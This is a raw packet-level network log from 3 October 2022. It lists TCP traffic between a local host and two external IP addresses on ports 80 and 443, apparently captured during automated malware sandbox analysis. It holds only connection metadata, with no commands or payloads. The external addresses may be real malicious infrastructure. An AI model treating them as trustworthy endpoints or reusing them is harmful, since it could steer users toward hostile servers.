Oct 3, 2022 17:35:32.035305023 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:32.041505098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041541100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041584969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041610956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041635990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041652918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041662931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041686058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041687965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041702032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041709900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041733027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041733980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041744947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041755915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041769028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041779041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041790962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041801929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041815042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041826963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041840076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041851044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041862011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041873932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041886091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041898012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041908979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041922092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041934013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041945934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041968107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041970015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.041991949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.041995049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042007923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042016983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042037010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042041063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042052984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042083979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042123079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042145967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042169094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042191029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042213917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042215109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042237997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042260885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042278051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042284012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042301893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042310953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042325974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042335033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042349100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042373896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042376995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042402029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042414904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042427063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042448044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042452097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042470932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042475939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042485952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042510986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042516947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042541027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042563915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.042614937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.042643070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055414915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055452108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055475950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055500031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055514097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055524111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055545092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055547953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055557013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055572033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055573940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055591106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055598974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055615902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055624008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055638075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055649042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055663109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055674076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055686951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055699110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055720091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055722952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055744886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055747032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055761099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055773020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055792093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055798054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055810928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055821896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055834055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055845022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055856943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055869102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055881023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055891991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055907965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055916071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055931091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055938959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055948973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.055963039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055986881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.055999994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056010962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056025028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056035995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056050062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056062937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056070089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056087017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056109905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056127071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056133986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056153059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056159019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056176901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056181908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056191921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056206942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056215048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056231976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056256056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056267977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056279898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056292057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056303978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056317091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056327105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056341887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056350946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056365967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056375027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056385040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056397915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056410074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056420088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056432962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056443930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056454897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056469917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056493044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056513071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056515932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056540012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056540966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056562901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056562901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056576967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056586981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056602955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056611061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056622028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056636095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056649923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056659937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056677103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056684017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056699991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056706905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056720972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056732893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056749105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056756973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056771994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056778908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056792021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056802034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056814909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056828022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056838989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056850910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056870937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056874037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056893110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056896925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056909084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056921959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056945086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.056966066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.056988001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.624543905 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:32.624589920 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:32.690691948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.719480991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745559931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745590925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745630980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745647907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745665073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745682955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745701075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745711088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745723963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745732069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.745738029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745752096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745767117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.745796919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.745812893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754292011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754326105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754343987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754362106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754381895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754400015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754409075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754410028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754415035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754442930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754458904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754574060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754592896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754635096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754636049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754652977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754677057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754699945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754795074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754816055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754833937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754853010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754869938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754870892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754893064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754908085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754921913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.754923105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754939079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.754978895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.755044937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.755074978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.755136967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.787532091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787568092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787585974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787605047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787622929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787641048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787657976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787662029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.787674904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.787698984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.787719965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.788347960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788377047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788394928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788413048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788423061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.788459063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.788739920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788759947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788794041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788810968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.788816929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.788836956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.788861990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.790103912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790132046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790150881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790169954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790214062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.790235043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.790687084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790710926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790729046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790749073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.790777922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.790855885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.792839050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.792870998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.792890072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.792908907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.792949915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.792973995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.793742895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.793767929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.793802977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.793822050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.793832064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.793849945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.793875933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794092894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794114113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794135094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794147015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794152975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794171095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794186115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794202089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794408083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794428110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794445038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794457912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794462919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794486046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794512987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794523954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794542074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794559956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794569016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794591904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794604063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794604063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794651031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794714928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794749022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794766903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794795990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794797897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794816017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794827938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794831038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.794851065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.794866085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.795475960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795515060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795540094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795559883 CEST	80	49703	193.38.55.180	192.168.2.7
